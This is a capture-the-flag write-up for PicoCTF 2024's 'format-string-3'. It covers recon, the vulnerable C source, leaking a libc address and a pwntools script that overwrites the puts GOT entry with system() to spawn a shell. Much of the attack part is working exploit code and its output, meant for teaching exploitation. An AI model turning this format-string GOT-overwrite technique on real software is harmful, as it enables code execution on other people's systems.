6.6 KiB
title, excerpt, tags
| title | excerpt | tags | ||
|---|---|---|---|---|
| PicoCTF 2024: format-string-3 | Overwriting a GOT (Global Offset Table) entry using a format string vulnerability to get a shell on a 64-bit x86 target |
|
Recon
This challenge was given along with a libc and and interpreter file:
$ file format-string-3
format-string-3: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter ./ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=54e1c4048a725df868e9a10dc975a46e8d8e5e92, not stripped
$ file libc.so.6
libc.so.6: ELF 64-bit LSB shared object, x86-64, version 1 (GNU/Linux), dynamically linked, interpreter /usr/lib/ld-linux-x86-64.so.2, BuildID[sha1]=8bfe03f6bf9b6a6e2591babd0bbc266837d8f658, for GNU/Linux 4.4.0, stripped
$ file ld-linux-x86-64.so.2
ld-linux-x86-64.so.2: ELF 64-bit LSB shared object, x86-64, version 1 (GNU/Linux), static-pie linked, BuildID[sha1]=6ebd6e95dffa2afcbdaf7b7c91103b23ecf2b012, stripped
We can see that the main binary uses the interpreter given in the current folder. Taking a quick look at the protections, we see that PIE is enabled on the libc, but not on the main binary. Also, the challenge does not have Full RELRO on the main file:
➜ fmt3 venv
$ checksec format-string-3
[*] '/home/qelal/PicoCTF/fmt3/format-string-3'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x3ff000)
RUNPATH: b'.'
SHSTK: Enabled
IBT: Enabled
Stripped: No
$ checksec libc.so.6
[*] '/home/qelal/PicoCTF/fmt3/libc.so.6'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
SHSTK: Enabled
IBT: Enabled
That is quite interesting. We can now take a look at the source code:
#include <stdio.h>
#define MAX_STRINGS 32
char *normal_string = "/bin/sh";
void setup() { // setting up the chall }
void hello() {
puts("Howdy gamers!");
printf("Okay I'll be nice. Here's the address of setvbuf in libc: %p\n", &setvbuf);
}
int main() {
char *all_strings[MAX_STRINGS] = {NULL};
char buf[1024] = {'\0'};
setup();
hello();
fgets(buf, 1024, stdin);
printf(buf);
puts(normal_string);
return 0;
}
Two interesting things here:
- the first is that there is an obvious format string vulnerability on the
printf(buf)call, which allows for arbitrary read/write as we know; - the second is that we call
puts()on/bin/sh.
Of course showing /bin/sh to the screen isn't nefarious, but we can take advantage of this argument placement and change puts() to something else..
The idea here is that we will have to overwrite an entry in the GOT, to change the puts("/bin/sh") call to system("/bin/sh") and get a shell.
Finding the stack user input offset
First we'll see where our user input ends up on the stack, by writing a noticeable "A" chain and then spamming %p format specifiers until we get there:
$ ./format-string-3
Howdy gamers!
Okay I'll be nice. Here's the address of setvbuf in libc: 0x7f833ed353f0
AAAAAAAA%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.
AAAAAAAA0x7f833ee93963.0xfbad208b.0x7fff4c619340.0x1.(nil).(nil).(nil).(nil).(nil).(nil).(nil).(nil).(nil).(nil).(nil).(nil).(nil).(nil).(nil).(nil).(nil).(nil).(nil).(nil).(nil).(nil).(nil).(nil).(nil).(nil).(nil).(nil).(nil).(nil).(nil).(nil).(nil).0x4141414141414141.0x70252e70252e7025.0x252e70252e70252e.0x2e70252e70252e70.0x70252e70252e7025.0x252e70252e70252e.0x2e70252e70252e70.
/bin/sh
It seems to be at position 38. Just to be sure:
$ ./format-string-3
Howdy gamers!
Okay I'll be nice. Here's the address of setvbuf in libc: 0x7f48bdb1b3f0
AAAAAAAA%38$p
AAAAAAAA0x4141414141414141
/bin/sh
Yep, that is our offset.
Leaking libc addresses
One thing we notice from the program's behavior is that it gives us the address for a random C function, setvbuf. It is not really useful for us in itself, but we can use this knowledge to leak the libc base address, or directly another function's address.
I chose not to bother with the libc base here, and go straight for system().
So, from static analysis on the libc.so.6 file, we can find the offsets for setvbuf and also for system:
.text:000000000004F760 system proc near ; DATA XREF: LOAD:000000000000B160↑o
[...]
.text:000000000007A3F0 setvbuf proc near ; CODE XREF: setlinebuf+D↓j
We have both offsets. Knowing this, we can establish the difference between those two symbols, and get the address we want from setvbuf's leak:
difference = 0x7A3F0 - 0x4F760 = 0x2AC90
system() = setvbuf() - 0x2AC90
Perfect! Now when the program will leak setvbuf, we will simply catch the address, and derive system from it.
Finding puts in the GOT
The last information we need for the exploit to succeed is the address of puts. We can find it using dynamic analysis with Pwndbg: breaking when we're in the program and noting the address from here:
pwndbg> got
Filtering out read-only entries (display them with -r or --show-readonly)
State of the GOT of /home/qelal/PicoCTF/fmt3/format-string-3:
GOT protection: Partial RELRO | Found 4 GOT entries passing the filter
[0x404018] puts@GLIBC_2.2.5 -> 0x7ffff7e59bf0 (puts) ◂— endbr64
[0x404020] __stack_chk_fail@GLIBC_2.4 -> 0x401040 ◂— endbr64
[0x404028] printf@GLIBC_2.2.5 -> 0x7ffff7e36250 (printf) ◂— endbr64
[0x404030] fgets@GLIBC_2.2.5 -> 0x7ffff7e57d40 (fgets) ◂— endbr64
So, in the GOT, puts is at 0x404018. No PIE so it stays the same everytime.
Automating the format string exploitation
Now we know that we have to write the address for system (that we leaked), instead of puts, at offset 38 on the stack. Writing a manual exploit is long and boring (although it's important to grasp the knowledge of how the format string arbitrary write works, but once you've done it, I'd consider using the automated helper from Pwntools to save some time) so we'll go with fmtstr_payload:
io = start()
io.recvline()
setvbuf_addr = int(io.recvline().split(b"libc: ")[1].strip(b'\n'), 0)
system_addr = setvbuf_addr - 0x2AC90
puts_plt_addr = 0x404018
payload = fmtstr_payload(38, {puts_plt_addr: system_addr})
with open("payload", "wb") as file:
file.write(payload)
io.sendline(payload)
io.interactive()
And finally we get our shell:
$ cat flag.txt
[DEBUG] Sent 0xd bytes:
b'cat flag.txt\n'
[DEBUG] Received 0x1a bytes:
b'picoCTF{G07_G07?_[REDACTED]}'